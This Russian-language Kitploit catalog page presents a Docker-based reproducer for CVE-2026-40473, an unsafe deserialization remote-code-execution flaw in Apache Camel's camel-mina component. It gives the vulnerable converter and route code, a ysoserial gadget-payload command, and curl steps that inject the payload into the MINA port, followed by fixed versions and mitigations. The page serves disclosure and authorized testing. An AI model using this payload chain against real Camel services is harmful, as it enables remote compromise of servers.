Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40473 — Репродуктор для CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput небезопасная десериализация (RCE через TCP/UDP) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-40473
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Репродуктор для CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput небезопасная десериализация (RCE через TCP/UDP)

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-mina MinaConverter.toObjectInput: репродуктор небезопасной десериализации (CVE-2026-40473)

Этот проект демонстрирует уязвимость десериализации в Java в компоненте Apache Camel camel-mina, отслеживаемую как CVE-2026-40473. Конвертер типов MinaConverter.toObjectInput(IoBuffer) оборачивает полученные байты в «сырой» ObjectInputStream без ObjectInputFilter, поэтому маршрут, который преобразует тело TCP/UDP в ObjectInput и вызывает readObject(), может быть использован атакующим для удалённого выполнения кода путём отправки специально сформированного сериализованного объекта на порт MINA.

Уведомление об уязвимости: https://camel.apache.org/security/CVE-2026-40473.html

Сводка по уязвимости

Технические подробности

Конвертер типов IoBuffer → ObjectInput оборачивает буфер в «сырой» ObjectInputStream:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // NO ObjectInputFilter
}

Когда TCP/UDP-потребитель camel-mina доставляет «сырые» байты (например, с allowDefaultCodec=false) и маршрут запрашивает ObjectInput (getBody(ObjectInput.class), @Body ObjectInput или convertBodyTo(ObjectInput.class)), запускается этот конвертер. Вызов readObject() для возвращённого потока затем выполняет любую цепочку гаджетов из байтов, предоставленных атакующим.

Уязвимый маршрут

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // deserialization sink
        exchange.getMessage().setBody("deserialized: " + obj);
    });

Требования

  • Java 17+ и Maven 3.8+ (для сборки jar)
  • Docker (запускает репродуктор)
  • ysoserial (для генерации полезной нагрузки)

Шаги воспроизведения

Шаг 1: Соберите jar и запустите контейнер

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Шаг 2: Сгенерируйте вредоносную полезную нагрузку

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Шаг 3: Отправьте его по TCP на порт MINA (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"

(В этой PoC порт MINA 5555 является внутренним для контейнера; вспомогательный обработчик /exploit/inject выполняет отправку «сырых» данных по TCP изнутри. Чтобы отправлять с хоста «сырым» клиентом, например nc, откройте порт 5555 наружу.)

Шаг 4: Проверка

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

Очистка

root@kitploit:~
docker compose down

Векторы атаки

Любой TCP- или UDP-потребитель camel-mina, маршрут которого преобразует тело в ObjectInput (напрямую, через @Body ObjectInput или convertBodyTo(ObjectInput.class)), может быть атакован любым, кто может подключиться к порту MINA.

Условия эксплуатации

  1. TCP/UDP-потребитель camel-mina, запрашивающий преобразование полученных байтов в ObjectInput.
  2. Библиотека гаджетов в classpath (например, commons-collections:3.2.1).

Рекомендуемое исправление

Обновитесь до 4.14.6 / 4.18.2 / 4.20.0. Исправление применяет ObjectInputFilter / разрешающий список классов (allow-list) к конвертеру (аналогично усилению защиты, применённому к camel-netty, camel-jms и camel-infinispan).

Снижение риска

До обновления:

  1. Не преобразовывайте недоверенные тела MINA в ObjectInput / не десериализуйте их.
  2. Удалите библиотеки гаджетов (обновите/удалите commons-collections 3.x).
  3. Ограничьте сетевой доступ к порту MINA доверенными узлами.

Файлы

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # victim: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: sends serialized bytes over TCP to mina:5555
    └── resources/
        └── application.properties

Отказ от ответственности

Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования и касается публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент
СвойствоЗначение
Компонентcamel-mina
Затронутый классorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: Десериализация недоверенных данных
ВоздействиеУдалённое выполнение кода (RCE) через TCP/UDP
Затронутые версииС 3.0.0 до 4.14.6, с 4.15.0 до 4.18.2, с 4.19.0 до 4.20.0
Исправленные версии4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
СообщилVenkatraman Kumar (Securin)